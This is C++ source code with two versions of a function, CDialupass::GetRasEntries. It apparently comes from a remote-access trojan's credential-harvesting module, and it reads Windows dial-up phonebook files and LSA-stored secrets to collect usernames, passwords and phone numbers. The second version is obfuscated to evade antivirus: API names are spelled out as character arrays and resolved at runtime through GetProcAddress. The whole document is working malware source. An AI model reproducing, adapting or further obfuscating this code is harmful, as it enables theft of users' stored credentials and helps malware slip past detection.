bool CDialupass::GetRasEntries() { int nCount = 0; char *lpPhoneBook[2]; char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1]; GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1)); lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\"); lstrcat(szPhoneBook1, m_lpCurrentUser); lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk"); SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0); wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk"); lpPhoneBook[0] = szPhoneBook1; lpPhoneBook[1] = szPhoneBook2; OSVERSIONINFO osi; osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&osi); if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5) { GetLsaPasswords(); } DWORD nSize = 1024 * 4; char *lpszReturnBuffer = new char[nSize]; for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++) { memset(lpszReturnBuffer, 0, nSize); GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]); for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1) { char *lpRealSection = (char *)UTF8ToGB2312(lpSection); char strDialParamsUID[256]; char strUserName[256]; char strPassWord[256]; char strPhoneNumber[256]; char strDevice[256]; memset(strDialParamsUID, 0, sizeof(strDialParamsUID)); memset(strUserName, 0, sizeof(strUserName)); memset(strPassWord, 0, sizeof(strPassWord)); memset(strPhoneNumber, 0, sizeof(strPhoneNumber)); memset(strDevice, 0, sizeof(strDevice)); int nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0, strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]); if (nBufferLen > 0)//DialParamsUID=4326020 198064 { for(int j=0; j< (int)m_nRasCount; j++) { if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0) { lstrcpy(strUserName, m_PassWords[j].login); lstrcpy(strPassWord, m_PassWords[j].pass); m_PassWords[j].used=true; m_nUsed++; break; } } } GetPrivateProfileString(lpSection, "PhoneNumber", 0, strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]); GetPrivateProfileString(lpSection, "Device", 0, strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]); char *lpRealDevice = (char *)UTF8ToGB2312(strDevice); char *lpRealUserName = (char *)UTF8ToGB2312(strUserName); Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord, strPhoneNumber, lpRealDevice); delete lpRealSection; delete lpRealUserName; delete lpRealDevice; } } delete lpszReturnBuffer; return true; }
bool CDialupass::GetRasEntries() { int nCount = 0; char *lpPhoneBook[2]; char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1]; GetWindowsDirectoryAT pGetWindowsDirectoryA=(GetWindowsDirectoryAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetWindowsDirectoryA"); pGetWindowsDirectoryA(szPhoneBook1, sizeof(szPhoneBook1)); char FBwWp22[] = {'l','s','t','r','c','p','y','A','\0'}; lstrcpyAT plstrcpyA=(lstrcpyAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp22); plstrcpyA(Gyfunction->my_strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\"); char DmDjm01[] = {'l','s','t','r','c','a','t','A','\0'}; lstrcatAT plstrcatA=(lstrcatAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DmDjm01); plstrcatA(szPhoneBook1, m_lpCurrentUser); plstrcatA(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk"); char CtxPW39[] = {'S','H','G','e','t','S','p','e','c','i','a','l','F','o','l','d','e','r','P','a','t','h','A','\0'}; SHGetSpecialFolderPathAT pSHGetSpecialFolderPathA=(SHGetSpecialFolderPathAT)GetProcAddress(LoadLibrary("SHELL32.dll"),CtxPW39); pSHGetSpecialFolderPathA(NULL,szPhoneBook2, 0x23, 0); char DQeBW01[] = {'%','s','\\','%','s','\0'}; char CtxPW50[] = {'w','s','p','r','i','n','t','f','A','\0'}; wsprintfAT pwsprintfA=(wsprintfAT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW50); pwsprintfA(szPhoneBook2,DQeBW01, szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk"); lpPhoneBook[0] = szPhoneBook1; lpPhoneBook[1] = szPhoneBook2; OSVERSIONINFO osi; osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); char FBwWp05[] = {'G','e','t','V','e','r','s','i','o','n','E','x','A','\0'}; GetVersionExAT pGetVersionExA=(GetVersionExAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp05); pGetVersionExA(&osi); if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5) { GetLsaPasswords(); } DWORD nSize = 1024 * 4; char *lpszReturnBuffer = new char[nSize]; char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'}; lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01); for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++) { memset(lpszReturnBuffer, 0, nSize); GetPrivateProfileSectionNamesAT pGetPrivateProfileSectionNamesA=(GetPrivateProfileSectionNamesAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetPrivateProfileSectionNamesA"); pGetPrivateProfileSectionNamesA(lpszReturnBuffer, nSize, lpPhoneBook[i]); for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += plstrlenA(lpSection) + 1) { char *lpRealSection = (char *)UTF8ToGB2312(lpSection); char strDialParamsUID[256]; char strUserName[256]; char strPassWord[256]; char strPhoneNumber[256]; char strDevice[256]; memset(strDialParamsUID, 0, sizeof(strDialParamsUID)); memset(strUserName, 0, sizeof(strUserName)); memset(strPassWord, 0, sizeof(strPassWord)); memset(strPhoneNumber, 0, sizeof(strPhoneNumber)); memset(strDevice, 0, sizeof(strDevice)); char FBwWp04[] = {'G','e','t','P','r','i','v','a','t','e','P','r','o','f','i','l','e','S','t','r','i','n','g','A','\0'}; GetPrivateProfileStringAT pGetPrivateProfileStringA=(GetPrivateProfileStringAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp04); int nBufferLen = pGetPrivateProfileStringA(lpSection, "DialParamsUID", 0, strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]); char FBwWp03[] = {'l','s','t','r','c','m','p','A','\0'}; lstrcmpAT plstrcmpA=(lstrcmpAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp03); if (nBufferLen > 0)//DialParamsUID=4326020 198064 { for(int j=0; j< (int)m_nRasCount; j++) { if(plstrcmpA(strDialParamsUID, m_PassWords[j].UID)==0) { plstrcpyA(strUserName, m_PassWords[j].login); plstrcpyA(strPassWord, m_PassWords[j].pass); m_PassWords[j].used=true; m_nUsed++; break; } } } pGetPrivateProfileStringA(lpSection, "PhoneNumber", 0, strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]); pGetPrivateProfileStringA(lpSection, "Device", 0, strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]); char *lpRealDevice = (char *)UTF8ToGB2312(strDevice); char *lpRealUserName = (char *)UTF8ToGB2312(strUserName); Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord, strPhoneNumber, lpRealDevice); // delete lpRealSection; // delete lpRealUserName; // delete lpRealDevice; } } delete lpszReturnBuffer; return true; }